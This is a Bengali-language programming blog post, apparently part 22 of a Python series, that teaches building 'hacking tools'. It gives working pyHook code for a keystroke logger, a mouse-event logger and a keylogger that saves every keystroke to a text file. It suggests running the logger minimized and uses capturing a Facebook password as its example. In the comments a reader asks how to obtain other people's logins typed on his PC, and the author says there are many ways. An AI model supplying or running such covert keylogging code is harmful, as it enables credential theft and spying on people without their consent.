মজার ও সহজ প্রোগ্রামিং, পাইথন প্রোগ্রামিং [পর্ব-২২] :: পাইথন ল্যাংগুয়েজ দিয়ে কিছু হ্যাকিং টুলস তৈরী করা ও ইউজ করা

মজার ও সহজ পাইথন প্রোগ্রামিং

সুপ্রিয় টেকটিউনসের সবাইকে জানাই শুভেচ্ছা । আশা করি সবাই ভাল আছেন ।আজ পইথনের ২২ তম পর্বে আমি পাইথন দিয়ে কিছূ ছোটখাট হ্যাকিং টুলস তেরী করা শেখাব আপনাদের । তবে ভীত হবার কোন কারণ নেই । কারণ জিনিসটা খুবই সহজ ।আপনাকে শুধু কিছু কিছু মডিউল কমান্ড জানতে হবেই কাজের জন্য ।আমরা আজ pyHook মডিউল নিয়ে মূলত কাজ করব ।এছাড়ও কিছু মডিউল রয়েছে যেগুলো আপনারা দেখতে পাবেন । প্রথমে এইখান থেকে পাইথনের জন্য আপনার ভার্সন ও উউন্ডোজ অনুযায়ী pyWin32 ও pyHook মডিউলটা ডাউনলোড ও ইনস্টল করে নিন । তারপর আপনারা হ্যাকিং টুলস তৈরীর জন্য পুরোপুরি তৈরী । মূলত এটা অনেক উপায়ে তৈরী করা যায় । তবে আমি বর্তমানে আপনাদের কয়েকটি পদ্ধতি দেখাব ।আমি আপনাদের দেখাব একটা সিম্পল কীলগার কীভাবে তৈরী করা যায় । পরে আপনারা গুগলে সার্চ দিলে আরও অনেক টেকনিক পেয়ে যাবেন ।আমি এখানে পাইথন ২.৭ এর উপর লিখলাম । কারণ এই মডিউলটার ভার্সন পাইথন ৩.৩ তে একটু সমস্যা দেয় । প্রথমে আপনারা নীচের কোডগুলি টাইপ করুন ও রান করান ।

import pythoncom, pyHook

def OnKeyboardEvent(event):
    print “WindowName:”,event.WindowName
    print “Key:”, event.Key
    print “KeyID:”, event.KeyID
    print ”---“

    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

এখানে মূলত আমরা প্রথমে ২ টি মডিউল ইমপোর্ট করেছি । এরপর একটা ফাংশন ডিক্লেয়ার করে তার মধ্যে কিছূ কোড লিখেছি । আসুন , কোডগুলোর অর্থ সম্পর্কে একটু ক্লিয়ার হই ।
print 'WindowName:',event.WindowName :
এই কোডটার মূল কাজ হল কোন ইউজার কোন উইন্ডোতে কী টাইপ করছে সেটা প্রিন্ট করা । যেমন : কোন ব্যাক্তি যদি ফেসবুক . কম এ গিয়ে তার পাসওয়ার্ড টাইপ করে তাহলে এটা সেই মজিলা ফায়ার ফক্সের ফেসবুক পেজের নামটি প্রিন্ট করবে ।
print 'Key:', event.Key :
এই কোডটির কাজ হল ইউজার কোন কী টাইপ করছে সেটা প্রিন্ট করা ।যেমন , কেই যদি “H” কী টি টাইপ করে তবে এটা “H” প্রিন্ট করবে ।
print 'KeyID:', event.KeyID
এই কোডটার কাজ হল ইউজার যে কী টি টাইপ করছে সেটার আইডি খুজে বের করে প্রিন্ট করা ।
return True : এই কোডটা মূলত একটা কী ক্যাপচার করা হয়ে গেলে পরবর্তী কী টি ক্যাপচার করার জন্য প্রোগ্রাম টিকে এগিয়ে নিবে । অর্থাৎ একাধারে সব টাইপড কী ক্যাপচার করতে থাকবে ।
এরপর আমরা pyHook.HookManager কোডের মাধ্যমে একটা হুক ম্যানেজার তৈরী করেছি । এরপর উপরের তৈরী ফাংশন টিকে hm.KeyDown কোডের সাথে ইউজ করে সব কী ক্যাপচারের জন্য ফাংশন টিকে সেট করে দিয়েছি অর্থাৎ , কোন কী চাপই এটা ক্যাপচার করবে ।তারপর হুক সেটআপ করে দিয়ে pythoncom.PumpMessages() কোডের মাধ্যমে প্রোগ্রামটিকে সারা জীবনের জন্য চালিয়ে যেতে বলেছি । এভাবে আমরা একটা পাইথন কীলগার তৈরী করতে পারি । এর সাথে আপনারা আরও অনেক কোড এড করতে পারেন বিভিন্ন অতিরিক্ত তথ্য পাবার জন্য । আপনাদের সুবিধার্তে কোডগুলো আমি নীচে দিয়ে দিলাম যেগুলো আপনারা ফাংশনের ভিতর এড করতে পারেন ।

print 'MessageName:',event.MessageName
    print 'Message:',event.Message
    print 'Time:',event.Time
    print 'Window:',event.Window
    print 'Ascii:', event.Ascii, chr(event.Ascii)
    print 'ScanCode:', event.ScanCode
    print 'Extended:', event.Extended
    print 'Injected:', event.Injected
    print 'Alt', event.Alt
    print 'Transition', event.Transition

এখানে hm টা হল জাস্ট একটা ভ্যারিয়েবল । আপনারা ইচ্ছা করলে এটির অন্য যেকোন নাম দিতে পারেন ।

এগুলো ইউজ করে দেখুন , আপনারা কীবোর্ডের ক্যাপচারের আর ও অনেক তথ্য পাবেন । এবার প্রোগ্রামটি রান করে মিনিমাইজ করে রাখুন । ব্যাস , এটি নিজের মনে কাজ করে যাবে ।
এটা হল একটা কীবোর্ডের উপর মনিটরিং প্রোগ্রাম । আপনরা একই ভাবে প্রতিটা মাউস ক্লিকের হিসাব রাখার জন্য নচের প্রোগ্রামটি ইউজ করতে পারেন ।

import pythoncom, pyHook

def OnMouseEvent(event):
    # called when mouse events are received
    print 'MessageName:',event.MessageName
    print 'Message:',event.Message
    print 'Time:',event.Time
    print 'Window:',event.Window
    print 'WindowName:',event.WindowName
    print 'Position:',event.Position
    print 'Wheel:',event.Wheel
    print 'Injected:',event.Injected
    print '---'

    return True

hm = pyHook.HookManager()
hm.MouseAll = OnMouseEvent
hm.HookMouse()
pythoncom.PumpMessages()

এখন ধরুন আপনি আপনার সকল কী্স্ট্রোক একটা নোটপ্যাডে টেক্সটআকারে সেভ রাখতে চান , তাহলে কী করতে হবে । উপায় আছে । সবাই নীচের কোডটি টাইপ করুন ।

import pyHook, pythoncom, sys, logging
file_log = "C:\\log.txt"
def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log,level=logging.DEBUG, format="%(message)s")
    chr(event.Ascii)
    logging.log(10, chr(event.Ascii))
    return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages() PumpMessages()

এখানে মূলত আমরা pyHook, pythoncom, sys, logging নামের ৪ টি মডিউল ইমপোর্ট করেছি । তারপর সব লগ সেভ করার জন্য file_log নামের একটা ভ্যারিয়েবল নিয়ে যে প্যাথে আমাদের কী স্ট্রোকগুলো সেভ হবে সেটা দেখিয়ে দিযেছি । তারপর একটা ফাংশন ডিফাইন করে logging মডিউলটা ইউজ করে আমরা কোথায় আমাদের সব টেক্সট সেভ হবে সেটা বলে দিয়েছি ও কী ফরম্যাটে সেভ হবে ও কীভাবে সেভ হবে সেটাও বলে দিয়েছি ।তারপর আমরা ASCII ফরম্যাটের সব কীস্ট্রোক ক্যাপচার করার জন্য নীচের কোড দুটি ইউজ করেছি । তারপরের কাজ সবই উপরের প্রোগ্রামটার মতই । এবার এই প্রোগ্রামটা সেভ করে রান করুন ও মিনিমাইজ করে রাখুন । দেখুন , আপনার টেক্সট ফাইলে আপনার সব কীস্ট্রোক সেভ হয়ে আছে । অবশ্য আপনার দেওয়া প্যাথে একটি নোটপ্যাড ফাইল আগে থেকেই তৈরী করে রাখবেন । না হলে ইরর দেখাতে পারে ।

আর আপনার গুগলে সার্চ দিয়ে pyHook মডিউলটার উপর আরো পড়াশুনা করুন । আশা করি আরও নতুন কিছু শিখতে পারবেন ।

আমি আমাদের ভার্সিটির(খুলনা বিশ্ববিদ্যালয়) এডমিশন টেষ্টের জন্য সিট প্লান সার্চ দেওয়ার একটা এপ্লিকেমন তৈরী করেছি গ্রাফিক্যাল ইউজার ইন্টারফেস সহ ।এটা মূলত প্লান করা আমার মামুর । আর ডেভলপ করা আমার । আশা করছি পরের পর্বে এটা আপনাদের মাঝে শেয়ার করব । সাথে আমাদের গ্রুপের মেম্বর মাহমুদ রাজু ভাইয়ের তৈরী কার একটা গ্রাফিক্যাল প্রোগ্রামও শেয়ার করব বলে আশা করছি । ফলে আপনাদের GUI প্রোগ্রামিং এর বেসিকটা আরও ভাল হবে বলে আমি আশা করছি ।
সবাই ভাল থাকবেন । সবাইকে ধন্যবাদ ।

Level 2

আমি অরিন্দম পাল। বিশ্বের সর্ববৃহৎ বিজ্ঞান ও প্রযুক্তির সৌশল নেটওয়ার্ক - টেকটিউনস এ আমি 11 বছর 10 মাস যাবৎ যুক্ত আছি। টেকটিউনস আমি এ পর্যন্ত 81 টি টিউন ও 316 টি টিউমেন্ট করেছি। টেকটিউনসে আমার 20 ফলোয়ার আছে এবং আমি টেকটিউনসে 0 টিউনারকে ফলো করি।

মানসিক ভাবে দূর্বল । কোন কাজই কনফিডেন্টলি করতে পারি না , তবুও দেখি কাজ শেষ পর্যন্ত হয়ে যায় । নিজের সম্পর্কে এক এক সময় ধারণা এক এক রকম হয় । আমার কোন বেল ব্রেক নেই । সকালে যে কাজ করব ঠিক করি , বিকালে তা করতে পারি না । নিজের...


টিউনস


আরও টিউনস


টিউনারের আরও টিউনস


টিউমেন্টস

You are welcome…………

ধন্যবাদ আপনাকে আবার একটা চরম টিউন উপহার দেবার জন্য। ক্ষুদ্র মনে শেখার ইচ্ছা থেকেই যায় আচ্ছা এমন কোন উপায় আছে যাতে আমার পিসি থেকে যদি কেউ কোন সাইটে লগিন করে তাহলে আমি তার উইজার আইডি ও পাসওয়ার্ড জানতে পাড়ব।

হ্যা ভাই , এমন অনেক উপায় আছে । আপনি একটু ফেসবুকে যোগাযোগ করুন / ধন্যবাদ…………..

ভাই দারুন ! আপনি প্লিস পাইথনের এই সিরিজ টা যতদুর সম্ভব চালিয়ে নিয়ে যাবেন আশা রাখি !

    @Ashikur Rahman Tomal: ধন্যবাদ ভাই , আপনারা সাথে থাকলে আশা করি চালিয়ে যেতে পারব ।